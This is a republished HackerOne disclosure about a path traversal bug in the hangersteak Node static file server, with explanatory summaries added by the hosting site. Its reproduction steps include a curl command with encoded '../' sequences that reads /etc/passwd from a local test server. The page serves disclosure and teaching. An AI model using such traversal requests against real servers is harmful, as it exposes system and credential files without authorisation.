Skip to content
Path traversal Disclosed report Beginner

[hangersteak] Web Server Directory Traversal via Crafted GET Request

The hangersteak static file server does not verify that requested files stay within the root directory, so a crafted URL with encoded dot-dot-slash sequences can read arbitrary files. An attacker could retrieve system files such as the password file or application source code.

bp0lr Follow

Originally disclosed on HackerOne

  • Triaged in 6 hours
  • Fixed in 7 months
  • Disclosed after 7 months

I would like to report path traversal in hangersteak module. It allows an attacker to read system files via path traversal local/remote

Module

module name: hangersteak version: 0.2.4 (latest) npm page: https://www.npmjs.com/package/hangersteak

Module Description

Node web static files server with built in compression support.

Module Stats

downloads in the last year 1,684

Vulnerability

Vulnerability Description

Directory traversal through the url which doesn't verify the file is from the root directory path.

Steps To Reproduce:

1 npm install hangersteak 2 create index.js with content

CONST
const hangersteak = require('hangersteak')
const server = http.createServer((req, res) => { hangersteak(req, res) })
server.listen(3006)```

3 start the aplication `nodejs index.js`
4 `curl "http://localhost:3006/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"`

it will list the content of /etc/passwd

# Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: [N] 
- I opened an issue in the related repository: [N] 

thanks!

## Impact

An attacker can leverage this vulnerability to request arbitrary files from the target host, which may include application source code or system files.
The package by default listen to 0.0.0.0 enabling external access.

The original report as published on HackerOne, by bp0lr. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could request arbitrary files from the target host, potentially exposing application source code or system files, and the package listens on all interfaces by default so it may be reachable externally.

What the attacker needed

Hangersteak used as a static file server; network access to the server

How it was found

  1. Install the hangersteak package.
  2. Create a small Node script that starts an HTTP server passing every request to hangersteak.
  3. Run the script so the server listens on a local port.
  4. Send a GET request whose path contains encoded dot-dot-slash sequences pointing at a system file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server that serves files from a folder should only hand out files inside that folder. Here, the server took the path from the URL and used it without checking, so adding encoded 'go up a folder' sequences let someone step outside the folder and read any file the server process could access, like the system's user list.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bp0lr

View all

1 more disclosed report, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.